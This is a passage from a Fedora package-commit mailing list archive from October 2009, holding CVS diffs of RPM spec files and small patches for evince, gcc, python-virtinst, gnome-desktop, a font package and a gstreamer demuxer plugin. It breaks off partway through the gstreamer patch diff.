 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	gtk2-devel >= %{gtk2_version}
@@ -105,10 +109,11 @@ This package contains a backend to let e
 %setup -q
 %patch0 -p0 -b .pdf-print-revert
 # %patch1 -p0 -b .duplex-copies
+%patch1 -p1 -b .search-not-available
 
 %build
 %configure --disable-static --disable-scrollkeeper \
-	--with-print=gtk \
+        --with-platform=gnome \
 	--enable-comics=yes \
 	--enable-dvi=yes \
 	--enable-djvu=yes
@@ -259,6 +264,9 @@ fi
 %{_libdir}/evince/1/backends/djvudocument.evince-backend
 
 %changelog
+* Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-2
+- Provide some hint if search is not available
+
 * Tue Oct 20 2009 Marek Kasik <mkasik at redhat.com> - 2.28.1-1
 - Update to 2.28.1
 - Add evince-pdf-print-revert.patch (reverts upstream's change



From jakub at fedoraproject.org  Thu Oct 22 13:18:29 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Thu, 22 Oct 2009 13:18:29 +0000 (UTC)
Subject: rpms/gcc/F-12 .cvsignore, 1.305, 1.306 gcc.spec, 1.84, 1.85 sources,
	1.309, 1.310 gcc44-ppc-const-builtins.patch, 1.1,
	NONE gcc44-vta-dce-debug-stmt-no-change.patch, 1.1,
	NONE gcc44-vta-sched-deps-debug-spec.patch, 1.1, NONE
Message-ID: <20091022131829.1DCFF11C0264@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2418

Modified Files:
	.cvsignore gcc.spec sources 
Removed Files:
	gcc44-ppc-const-builtins.patch 
	gcc44-vta-dce-debug-stmt-no-change.patch 
	gcc44-vta-sched-deps-debug-spec.patch 
Log Message:
4.4.2-6


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.305
retrieving revision 1.306
diff -u -p -r1.305 -r1.306
--- .cvsignore	19 Oct 2009 22:22:07 -0000	1.305
+++ .cvsignore	22 Oct 2009 13:18:28 -0000	1.306
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.2-20091019.tar.bz2
+gcc-4.4.2-20091022.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.84
retrieving revision 1.85
diff -u -p -r1.84 -r1.85
--- gcc.spec	19 Oct 2009 22:22:07 -0000	1.84
+++ gcc.spec	22 Oct 2009 13:18:28 -0000	1.85
@@ -1,9 +1,9 @@
-%global DATE 20091019
-%global SVNREV 152998
+%global DATE 20091022
+%global SVNREV 153454
 %global gcc_version 4.4.2
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 5
+%global gcc_release 6
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -161,9 +161,6 @@ Patch16: gcc44-unwind-debug-hook.patch
 Patch17: gcc44-pr38757.patch
 Patch18: gcc44-libstdc++-docs.patch
 Patch19: gcc44-ppc64-aixdesc.patch
-Patch20: gcc44-ppc-const-builtins.patch
-Patch21: gcc44-vta-dce-debug-stmt-no-change.patch
-Patch22: gcc44-vta-sched-deps-debug-spec.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -469,9 +466,6 @@ which are required to compile with the G
 %patch18 -p0 -b .libstdc++-docs~
 %endif
 %patch19 -p0 -b .ppc64-aixdesc~
-%patch20 -p0 -b .ppc-const-builtins~
-%patch21 -p0 -b .vta-dce-debug-stmt-no-change~
-%patch22 -p0 -b .vta-sched-deps-debug-spec~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1853,6 +1847,14 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Thu Oct 22 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-6
+- update from gcc-4_4-branch
+  - PR target/41702
+  - fix a pod2man error in gcc.1 (#530102)
+  - fix mangling of very large names
+- document -print-multi-os-directory in gcc.info and gcc.1
+  (#529659, PR other/25507)
+
 * Mon Oct 19 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-5
 - update from gcc-4_4-branch
   - PR fortran/41755


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.309
retrieving revision 1.310
diff -u -p -r1.309 -r1.310
--- sources	19 Oct 2009 22:22:08 -0000	1.309
+++ sources	22 Oct 2009 13:18:28 -0000	1.310
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-a288da14669d6a103dd834387fbe45d3  gcc-4.4.2-20091019.tar.bz2
+cb2cf846749da51f2041c375108f472f  gcc-4.4.2-20091022.tar.bz2


--- gcc44-ppc-const-builtins.patch DELETED ---


--- gcc44-vta-dce-debug-stmt-no-change.patch DELETED ---


--- gcc44-vta-sched-deps-debug-spec.patch DELETED ---



From crobinso at fedoraproject.org  Thu Oct 22 13:35:54 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Thu, 22 Oct 2009 13:35:54 +0000 (UTC)
Subject: rpms/python-virtinst/F-11 virtinst-0.400.3-safe-os-detect.patch,
	NONE, 1.1 python-virtinst.spec, 1.73, 1.74
Message-ID: <20091022133554.DB8BD11C008C@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/python-virtinst/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6635

Modified Files:
	python-virtinst.spec 
Added Files:
	virtinst-0.400.3-safe-os-detect.patch 
Log Message:
Ensure unknown OS detection doesn't break the install


virtinst-0.400.3-safe-os-detect.patch:
 OSDistro.py |   28 ++++++++++++++++++++++++++--
 1 file changed, 26 insertions(+), 2 deletions(-)

--- NEW FILE virtinst-0.400.3-safe-os-detect.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1241726968 14400
# Node ID db997572bdc8a8fc4c567fbf165f853167dfa462
# Parent  9768e52d4d624f83853f7f23f85402c8a078eb6f
Make sure autodetected OS type/variant are in the osdict.

If not, log a message and set the values to None, rather than barf later
down the line.

diff -r 9768e52d4d62 -r db997572bdc8 virtinst/OSDistro.py
--- a/virtinst/OSDistro.py	Thu May 07 15:50:06 2009 -0400
+++ b/virtinst/OSDistro.py	Thu May 07 16:09:28 2009 -0400
@@ -28,6 +28,7 @@
 import ConfigParser
 
 import virtinst
+from virtinst.Guest import Guest
 from virtinst import _util
 from virtinst import _virtinst as _
 
@@ -118,8 +119,9 @@
         if iskernel is True:
             # FIXME: We should probably do this for both kernel and boot
             # disk?
+            os_type, os_variant = store.get_osdict_info()
             return (store.acquireKernel(guest, fetcher, progresscb),
-                    store.os_type, store.os_variant)
+                    os_type, os_variant)
         elif iskernel is False:
             return store.acquireBootDisk(fetcher, progresscb)
         else:
@@ -145,7 +147,7 @@
     import urlgrabber
     progress = urlgrabber.progress.BaseMeter()
     store = _acquireMedia(None, None, location, progress, arch, "/var/tmp")
-    return (store.os_type, store.os_variant)
+    return store.get_osdict_info()
 
 
 def distroFromTreeinfo(fetcher, progresscb, uri, arch, vmtype=None,
@@ -246,6 +248,28 @@
             raise RuntimeError(_("Could not find boot.iso in %s tree." % \
                                self.name))
 
+    def get_osdict_info(self):
+        """
+        Return (distro, variant) tuple, checking to make sure they are valid
+        osdict entries
+        """
+        if not self.os_type:
+            return (None, None)
+
+        if self.os_type not in Guest.list_os_types():
+            logging.debug("%s set os_type to %s, which is not in osdict." %
+                          (self, self.os_type))
+            return (None, None)
+
+        if (self.os_variant and
+            self.os_variant not in Guest.list_os_variants(self.os_type)):
+            logging.debug("%s set os_variant to %s, which is not in osdict"
+                          " for distro %s." %
+                          (self, self.os_variant, self.os_type))
+            return (self.os_type, None)
+
+        return (self.os_type, self.os_variant)
+
     def _hasTreeinfo(self, fetcher, progresscb):
         # all Red Hat based distros should have .treeinfo, perhaps others
         # will in time


Index: python-virtinst.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-virtinst/F-11/python-virtinst.spec,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- python-virtinst.spec	6 Oct 2009 15:10:00 -0000	1.73
+++ python-virtinst.spec	22 Oct 2009 13:35:54 -0000	1.74
@@ -17,7 +17,7 @@
 Summary: Python modules and utilities for installing virtual machines
 Name: python-%{appname}
 Version: 0.400.3
-Release: 11%{_extra_release}
+Release: 12%{_extra_release}
 Source0: http://virt-manager.org/download/sources/%{appname}/%{appname}-%{version}.tar.gz
 Patch1: %{appname}-%{version}-fix-virtimage-scratch.patch
 Patch2: %{appname}-%{version}-hostdev-libvirt-calls.patch
@@ -49,6 +49,8 @@ Patch15: %{appname}-%{version}-sasl-auth
 Patch16: %{appname}-%{version}-windows-acpi.patch
 # Add CLI tests
 Patch17: %{appname}-%{version}-add-cli-test.patch
+# Ensure unknown OS detection doesn't break the install
+Patch18: %{appname}-%{version}-safe-os-detect.patch
 
 License: GPLv2+
 Group: Development/Libraries
@@ -93,6 +95,7 @@ and install new VMs) and virt-clone (clo
 %patch15 -p1
 %patch16 -p1
 %patch17 -p1
+%patch18 -p1
 
 %build
 python setup.py build
@@ -128,6 +131,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/virt-convert
 
 %changelog
+* Thu Oct 22 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-12.fc11
+- Ensure unknown OS detection doesn't break the install
+
 * Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-11.fc11
 - Allow SASL auth (bz 484099)
 - Use ACPI for windows on KVM (bz 479977)



From crobinso at fedoraproject.org  Thu Oct 22 13:38:01 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Thu, 22 Oct 2009 13:38:01 +0000 (UTC)
Subject: rpms/python-virtinst/F-10 virtinst-0.400.3-safe-os-detect.patch,
	NONE, 1.1 python-virtinst.spec, 1.56, 1.57
Message-ID: <20091022133801.5664611C008C@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/python-virtinst/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7329

Modified Files:
	python-virtinst.spec 
Added Files:
	virtinst-0.400.3-safe-os-detect.patch 
Log Message:
Ensure unknown OS detection doesn't break the install


virtinst-0.400.3-safe-os-detect.patch:
 OSDistro.py |   28 ++++++++++++++++++++++++++--
 1 file changed, 26 insertions(+), 2 deletions(-)

--- NEW FILE virtinst-0.400.3-safe-os-detect.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1241726968 14400
# Node ID db997572bdc8a8fc4c567fbf165f853167dfa462
# Parent  9768e52d4d624f83853f7f23f85402c8a078eb6f
Make sure autodetected OS type/variant are in the osdict.

If not, log a message and set the values to None, rather than barf later
down the line.

diff -r 9768e52d4d62 -r db997572bdc8 virtinst/OSDistro.py
--- a/virtinst/OSDistro.py	Thu May 07 15:50:06 2009 -0400
+++ b/virtinst/OSDistro.py	Thu May 07 16:09:28 2009 -0400
@@ -28,6 +28,7 @@
 import ConfigParser
 
 import virtinst
+from virtinst.Guest import Guest
 from virtinst import _util
 from virtinst import _virtinst as _
 
@@ -118,8 +119,9 @@
         if iskernel is True:
             # FIXME: We should probably do this for both kernel and boot
             # disk?
+            os_type, os_variant = store.get_osdict_info()
             return (store.acquireKernel(guest, fetcher, progresscb),
-                    store.os_type, store.os_variant)
+                    os_type, os_variant)
         elif iskernel is False:
             return store.acquireBootDisk(fetcher, progresscb)
         else:
@@ -145,7 +147,7 @@
     import urlgrabber
     progress = urlgrabber.progress.BaseMeter()
     store = _acquireMedia(None, None, location, progress, arch, "/var/tmp")
-    return (store.os_type, store.os_variant)
+    return store.get_osdict_info()
 
 
 def distroFromTreeinfo(fetcher, progresscb, uri, arch, vmtype=None,
@@ -246,6 +248,28 @@
             raise RuntimeError(_("Could not find boot.iso in %s tree." % \
                                self.name))
 
+    def get_osdict_info(self):
+        """
+        Return (distro, variant) tuple, checking to make sure they are valid
+        osdict entries
+        """
+        if not self.os_type:
+            return (None, None)
+
+        if self.os_type not in Guest.list_os_types():
+            logging.debug("%s set os_type to %s, which is not in osdict." %
+                          (self, self.os_type))
+            return (None, None)
+
+        if (self.os_variant and
+            self.os_variant not in Guest.list_os_variants(self.os_type)):
+            logging.debug("%s set os_variant to %s, which is not in osdict"
+                          " for distro %s." %
+                          (self, self.os_variant, self.os_type))
+            return (self.os_type, None)
+
+        return (self.os_type, self.os_variant)
+
     def _hasTreeinfo(self, fetcher, progresscb):
         # all Red Hat based distros should have .treeinfo, perhaps others
         # will in time


Index: python-virtinst.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-virtinst/F-10/python-virtinst.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- python-virtinst.spec	5 Oct 2009 18:06:08 -0000	1.56
+++ python-virtinst.spec	22 Oct 2009 13:38:00 -0000	1.57
@@ -11,7 +11,7 @@
 Summary: Python modules and utilities for installing virtual machines
 Name: python-%{appname}
 Version: 0.400.3
-Release: 4%{_extra_release}
+Release: 5%{_extra_release}
 Source0: http://virt-manager.org/download/sources/%{appname}/%{appname}-%{version}.tar.gz
 Patch1: %{appname}-%{version}-fix-virtimage-scratch.patch
 Patch2: %{appname}-%{version}-hostdev-libvirt-calls.patch
@@ -22,6 +22,8 @@ Patch5: %{appname}-%{version}-updated-tr
 Patch6: %{appname}-%{version}-preview-detection.patch
 # Add F12 to os dictionary
 Patch7: %{appname}-%{version}-f12-distro.patch
+# Ensure unknown OS detection doesn't break the install
+Patch8: %{appname}-%{version}-safe-os-detect.patch
 License: GPLv2+
 Group: Development/Libraries
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -54,6 +56,7 @@ and install new VMs) and virt-clone (clo
 %patch5 -p1
 %patch6 -p1
 %patch7 -p1
+%patch8 -p1
 
 %build
 python setup.py build
@@ -87,6 +90,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/virt-convert
 
 %changelog
+* Thu Oct 22 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-5.fc10
+- Ensure unknown OS detection doesn't break the install
+
 * Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-4.fc10
 - Fix detection of fedora preview trees (bz 499718)
 - Add F12 to os dictionary



From mkasik at fedoraproject.org  Thu Oct 22 13:53:32 2009
From: mkasik at fedoraproject.org (=?utf-8?b?TWFyZWsgS2HFocOtaw==?=)
Date: Thu, 22 Oct 2009 13:53:32 +0000 (UTC)
Subject: rpms/evince/F-12 evince-thumbnail-allocation.patch, NONE,
	1.1 evince.spec, 1.171, 1.172
Message-ID: <20091022135332.79E0711C008C@cvs1.fedora.phx.redhat.com>

Author: mkasik

Update of /cvs/pkgs/rpms/evince/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11945

Modified Files:
	evince.spec 
Added Files:
	evince-thumbnail-allocation.patch 
Log Message:
* Thu Oct 22 2009 Marek Kasik <mkasik at redhat.com> - 2.28.1-3
- Add evince-thumbnail-allocation.patch (checks whether
- GdkPixbuf was allocated correctly)


evince-thumbnail-allocation.patch:
 ev-document-misc.c |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE evince-thumbnail-allocation.patch ---
--- libdocument/ev-document-misc.c	2009-08-14 15:52:17.000000000 +0200
+++ libdocument/ev-document-misc.c	2009-10-22 15:04:48.000000000 +0200
@@ -60,6 +60,9 @@ ev_document_misc_get_thumbnail_frame (in
 				 width_r + 4,
 				 height_r + 4);
 
+	if (retval == NULL)
+		return NULL;
+
 	/* make it black and fill in the middle */
 	data = gdk_pixbuf_get_pixels (retval);
 	rowstride = gdk_pixbuf_get_rowstride (retval);


Index: evince.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evince/F-12/evince.spec,v
retrieving revision 1.171
retrieving revision 1.172
diff -u -p -r1.171 -r1.172
--- evince.spec	22 Oct 2009 13:18:08 -0000	1.171
+++ evince.spec	22 Oct 2009 13:53:30 -0000	1.172
@@ -6,7 +6,7 @@
 
 Name:		evince
 Version:	2.28.1
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	Document viewer
 
 License:	GPLv2+ and GFDL
@@ -19,6 +19,7 @@ Patch0:		evince-pdf-print-revert.patch
 
 # https://bugzilla.gnome.org/show_bug.cgi?id=596888
 Patch1:         0001-Provide-some-indication-that-search-is-not-available.patch
+Patch2:		evince-thumbnail-allocation.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -110,6 +111,7 @@ This package contains a backend to let e
 %patch0 -p0 -b .pdf-print-revert
 # %patch1 -p0 -b .duplex-copies
 %patch1 -p1 -b .search-not-available
+%patch2 -p0 -b .thumbnail-allocation
 
 %build
 %configure --disable-static --disable-scrollkeeper \
@@ -264,6 +266,10 @@ fi
 %{_libdir}/evince/1/backends/djvudocument.evince-backend
 
 %changelog
+* Thu Oct 22 2009 Marek Kasik <mkasik at redhat.com> - 2.28.1-3
+- Add evince-thumbnail-allocation.patch (checks whether
+- GdkPixbuf was allocated correctly)
+
 * Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-2
 - Provide some hint if search is not available
 



From ozamosi at fedoraproject.org  Thu Oct 22 13:57:47 2009
From: ozamosi at fedoraproject.org (Robin Sonefors)
Date: Thu, 22 Oct 2009 13:57:47 +0000 (UTC)
Subject: rpms/msimonson-anonymouspro-fonts/F-11
	msimonson-anonymouspro-fonts-fontconfig.conf, NONE,
	1.1 msimonson-anonymouspro-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022135748.03C2311C008C@cvs1.fedora.phx.redhat.com>

Author: ozamosi

Update of /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13048

Modified Files:
	.cvsignore sources 
Added Files:
	msimonson-anonymouspro-fonts-fontconfig.conf 
	msimonson-anonymouspro-fonts.spec 
Log Message:
Version 1.001



--- NEW FILE msimonson-anonymouspro-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>monospace</family>
    <prefer>
      <family>Anonymous Pro</family>
    </prefer>
  </alias>
  <alias>
    <family>Anonymous Pro</family>
    <default>
      <family>monospace</family>
    </default>
  </alias>
  <alias binding="same">
    <family>Anonymous</family>
    <accept>
      <family>Anonymous Pro</family>
    </accept>
  </alias>
</fontconfig>


--- NEW FILE msimonson-anonymouspro-fonts.spec ---
%global fontname msimonson-anonymouspro
%global fontconf 61-%{fontname}.conf
%global archivename AnonymousPro

Name:           %{fontname}-fonts
Version:        1.001
Release:        2%{?dist}
Summary:        A coding-friendly monospace font

Group:          User Interface/X
License:        OFL
URL:            http://www.ms-studio.com/FontSales/anonymouspro.html
Source0:        http://www.ms-studio.com/FontSales/AnonymousPro.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Anonymous Pro is a family of fixed-width fonts designed especially with coding
in mind. Characters that could be mistaken for one another (O, 0, I, l, 1,
etc.) have distinct shapes to make them easier to tell apart in the context of
source code.

It has support for most Western and European Latin-based languages, Greek, and
Cyrillic. It also includes special ?box drawing? characters.

Anonymous Pro is based on an earlier font, Anonymous, which is a TrueType
version of Susan Lesch and David Lamkins? font Anonymous 9, a freeware
Macintosh bitmap font.

%prep
%setup -q -n %{archivename}
for txt in "OFL.txt" "OFL-FAQ.txt"; do
    fold -s $txt > $txt.new
    sed -i 's/\r//' $txt.new
    touch -r $txt $txt.new
    mv $txt.new $txt
done

%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}

%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Sat Oct 17 2009 Robin Sonefors <ozamosi at flukkost.nu> - 1.001-2
- Change summary, fix fontconfig file

* Thu Oct 15 2009 Robin Sonefors <ozamosi at flukkost.nu> - 1.001-1
- Initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:48:01 -0000	1.1
+++ .cvsignore	22 Oct 2009 13:57:47 -0000	1.2
@@ -0,0 +1 @@
+AnonymousPro.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/msimonson-anonymouspro-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:48:01 -0000	1.1
+++ sources	22 Oct 2009 13:57:47 -0000	1.2
@@ -0,0 +1 @@
+3cdcfc1979242670410e26ce42d226b0  AnonymousPro.zip



From mclasen at fedoraproject.org  Thu Oct 22 14:31:23 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 22 Oct 2009 14:31:23 +0000 (UTC)
Subject: rpms/gnome-desktop/F-12 .cvsignore, 1.90, 1.91 gnome-desktop.spec, 
	1.226, 1.227 sources, 1.90, 1.91
Message-ID: <20091022143124.8EA9F11C0267@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-desktop/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22198

Modified Files:
	.cvsignore gnome-desktop.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-desktop/F-12/.cvsignore,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- .cvsignore	22 Sep 2009 01:59:39 -0000	1.90
+++ .cvsignore	22 Oct 2009 14:31:16 -0000	1.91
@@ -1 +1 @@
-gnome-desktop-2.28.0.tar.bz2
+gnome-desktop-2.28.1.tar.bz2


Index: gnome-desktop.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-desktop/F-12/gnome-desktop.spec,v
retrieving revision 1.226
retrieving revision 1.227
diff -u -p -r1.226 -r1.227
--- gnome-desktop.spec	22 Sep 2009 01:59:39 -0000	1.226
+++ gnome-desktop.spec	22 Oct 2009 14:31:16 -0000	1.227
@@ -11,7 +11,7 @@
 
 Summary: Shared code among gnome-panel, gnome-session, nautilus, etc
 Name: gnome-desktop
-Version: 2.28.0
+Version: 2.28.1
 Release: 1%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-desktop/2.28/%{name}-%{version}.tar.bz2
@@ -122,6 +122,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc %{_datadir}/gtk-doc/html/gnome-desktop/
 
 %changelog
+* Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1, translation updates
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-desktop/F-12/sources,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- sources	22 Sep 2009 01:59:40 -0000	1.90
+++ sources	22 Oct 2009 14:31:16 -0000	1.91
@@ -1 +1 @@
-73927d3c43d783f5d7d6cdbb4359d7d6  gnome-desktop-2.28.0.tar.bz2
+6870b71b564dc902af65ddee176e603f  gnome-desktop-2.28.1.tar.bz2



From pkgdb at fedoraproject.org  Thu Oct 22 14:36:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 14:36:03 +0000
Subject: [pkgdb] perl-XML-Twig: cweyl has requested watchbugzilla
Message-ID: <20091022143604.63B7E10F87F@bastion2.fedora.phx.redhat.com>

cweyl has requested the watchbugzilla acl on perl-XML-Twig (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-Twig



From pkgdb at fedoraproject.org  Thu Oct 22 14:36:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 14:36:16 +0000
Subject: [pkgdb] perl-XML-Twig: cweyl has requested watchcommits
Message-ID: <20091022143617.B52EE10F87F@bastion2.fedora.phx.redhat.com>

cweyl has requested the watchcommits acl on perl-XML-Twig (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/perl-XML-Twig



From hadess at fedoraproject.org  Thu Oct 22 14:44:30 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 22 Oct 2009 14:44:30 +0000 (UTC)
Subject: rpms/gstreamer-plugins-flumpegdemux/F-12
	gst-fmd-update-from-bad.patch, 1.1,
	1.2 gstreamer-plugins-flumpegdemux.spec, 1.8, 1.9
Message-ID: <20091022144431.0535E11C008C@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-flumpegdemux/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26556

Modified Files:
	gst-fmd-update-from-bad.patch 
	gstreamer-plugins-flumpegdemux.spec 
Log Message:
* Thu Oct 22 2009 Bastien Nocera <bnocera at redhat.com> 0.10.15-8
- Update code from gst-plugins-bad


gst-fmd-update-from-bad.patch:
 configure.ac             |    2 
 src/Makefile.am          |   15 
 src/flumpegdemux.c       |   40 
 src/flutspatinfo.c       |   76 -
 src/flutspatinfo.h       |   39 
 src/flutspmtinfo.c       |  171 +--
 src/flutspmtinfo.h       |   47 
 src/flutspmtstreaminfo.c |  174 +--
 src/flutspmtstreaminfo.h |   47 
 src/gstmpegdefs.h        |   98 +
 src/gstmpegdemux.c       | 1803 ++++++++++++++++++++++++++++-----
 src/gstmpegdemux.h       |  139 +-
 src/gstmpegdesc.c        |   60 +
 src/gstmpegdesc.h        |   94 +
 src/gstmpegtsdemux.c     | 1749 +++++++++++++++++++++++---------
 src/gstmpegtsdemux.h     |  286 +++--
 src/gstpesfilter.c       |  165 +--
 src/gstpesfilter.h       |   27 
 src/gstsectionfilter.c   |  149 +-
 src/gstsectionfilter.h   |   26 
 src/mpegtspacketizer.c   | 2506 +++++++++++++++++++++++++++++++++++++++++++++++
 src/mpegtspacketizer.h   |  152 ++
 src/mpegtsparse.c        | 1342 +++++++++++++++++++++++++
 src/mpegtsparse.h        |   85 +
 24 files changed, 7954 insertions(+), 1338 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.1 -r 1.2 gst-fmd-update-from-bad.patchIndex: gst-fmd-update-from-bad.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-flumpegdemux/F-12/gst-fmd-update-from-bad.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gst-fmd-update-from-bad.patch	1 Apr 2009 12:20:07 -0000	1.1
+++ gst-fmd-update-from-bad.patch	22 Oct 2009 14:44:29 -0000	1.2
@@ -1,6 +1,6 @@
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/configure.ac gst-fluendo-mpegdemux-0.10.15/configure.ac
 --- gst-fluendo-mpegdemux-0.10.15.old/configure.ac	2008-02-13 18:14:54.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/configure.ac	2009-04-01 12:39:32.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/configure.ac	2009-10-22 15:36:25.000000000 +0100
 @@ -76,6 +76,8 @@ AC_SUBST(GST_CFLAGS)
  AC_SUBST(GST_LIBS)
  AC_SUBST(GST_BASE_LIBS)
@@ -12,7 +12,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flumpegdemux.c gst-fluendo-mpegdemux-0.10.15/src/flumpegdemux.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flumpegdemux.c	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flumpegdemux.c	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flumpegdemux.c	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -89,7 +89,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    GST_LICENSE_UNKNOWN, GST_PACKAGE_NAME, GST_PACKAGE_ORIGIN);
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspatinfo.c gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspatinfo.c	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.c	2009-04-01 12:37:48.000000000 +0100
